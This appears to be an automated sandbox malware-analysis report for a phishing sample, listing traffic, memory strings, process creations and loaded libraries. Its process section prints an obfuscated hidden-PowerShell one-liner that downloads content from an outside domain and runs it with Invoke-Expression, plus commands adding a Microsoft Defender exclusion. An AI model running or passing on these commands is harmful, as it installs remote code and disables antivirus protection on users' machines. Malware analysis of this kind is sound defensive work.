Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddendate: Tue, 10 Jun 2025 10:50:17 GMTcontent-type: text/html; charset=UTF-8accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAcf-mitigated: challengecritical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAcross-origin-embedder-policy: require-corpcross-origin-opener-policy: same-origincross-origin-resource-policy: same-originorigin-agent-cluster: ?1permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()referrer-policy: same-originserver-timing: chlray;desc="94d84e932bdd69d0"x-content-type-options: nosniffx-frame-options: SAMEORIGINcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0expires: Thu, 01 Jan 1970 00:00:01 GMTreport-to: {"endpoints":[{"url"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddendate: Tue, 10 Jun 2025 10:50:17 GMTcontent-type: text/html; charset=UTF-8accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAcf-mitigated: challengecritical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAcross-origin-embedder-policy: require-corpcross-origin-opener-policy: same-origincross-origin-resource-policy: same-originorigin-agent-cluster: ?1permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()referrer-policy: same-originserver-timing: chlray;desc="94d84e959e6b69d0"x-content-type-options: nosniffx-frame-options: SAMEORIGINcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0expires: Thu, 01 Jan 1970 00:00:01 GMTreport-to: {"endpoints":[{"url"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddendate: Tue, 10 Jun 2025 10:50:49 GMTcontent-type: text/html; charset=UTF-8accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAcf-mitigated: challengecritical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UAcross-origin-embedder-policy: require-corpcross-origin-opener-policy: same-origincross-origin-resource-policy: same-originorigin-agent-cluster: ?1permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=()referrer-policy: same-originserver-timing: chlray;desc="94d84f5e194a72f8"x-content-type-options: nosniffx-frame-options: SAMEORIGINcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0expires: Thu, 01 Jan 1970 00:00:01 GMTreport-to: {"endpoints":[{"url"

Source: powershell.exe, 00000011.00000002.1831312006.000000000778D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1940733987.0000000007E9D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2083197541.0000000002782000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000015.00000002.1934980080.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro5
Source: powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro7
Source: powershell.exe, 00000011.00000002.1832949556.0000000008776000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2089605247.0000000007F56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.00000000049A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004CA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.00000000049C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000011.00000002.1826723030.0000000005161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.0000000004851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004B5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.000000000487E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.00000000049A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004CA5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.00000000049C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000015.00000002.1940733987.0000000007EBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000011.00000002.1826723030.0000000005161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1937289818.0000000004851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2028475217.0000000004B5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2085120775.000000000487E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000011.00000002.1826723030.00000000052B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000011.00000002.1828567863.00000000061B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.6:49725 version: TLS 1.2

Source: classification engine

Classification label: mal88.phis.evad.win@46/47@20/9

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1224:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5404:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4524:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5768:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ajn4fxo3.c5k.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2120,i,9730610684650128976,8350997037842141116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://booking.home-extranet.com/sign-in?0p_token=zXj81EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiYjEzZGNlMjQtMGM5OS00YjJlLThiOGUtNjI0NjllN2Y1ZGQ5In0yK1lHOEtPZGcwYXplS1N1OG5VZ25uQ3pSci1MYkt5TXFxaVNWanNsMjV4WnM6BFMyNTZCBGNvZGUqEzCSipujlK4nOgBCAFjd1NXosDI"
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe cmd /K poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2120,i,9730610684650128976,8350997037842141116,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2180 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe poweRshEll -w h /c "$e"vsg"1 = 't"okenn"bkn.c"o"m';$vtl"h"7 = I"nvo"ke"-"RestM"ethod" -Uri $e"vs"g1;In"vo"ke-"E"xpr"e"s"s"ion $v"t"lh7"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command $ErrorActionPreference='Stop'; Add-MpPreference -ExclusionPath 'C:\Windows\Temp'	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
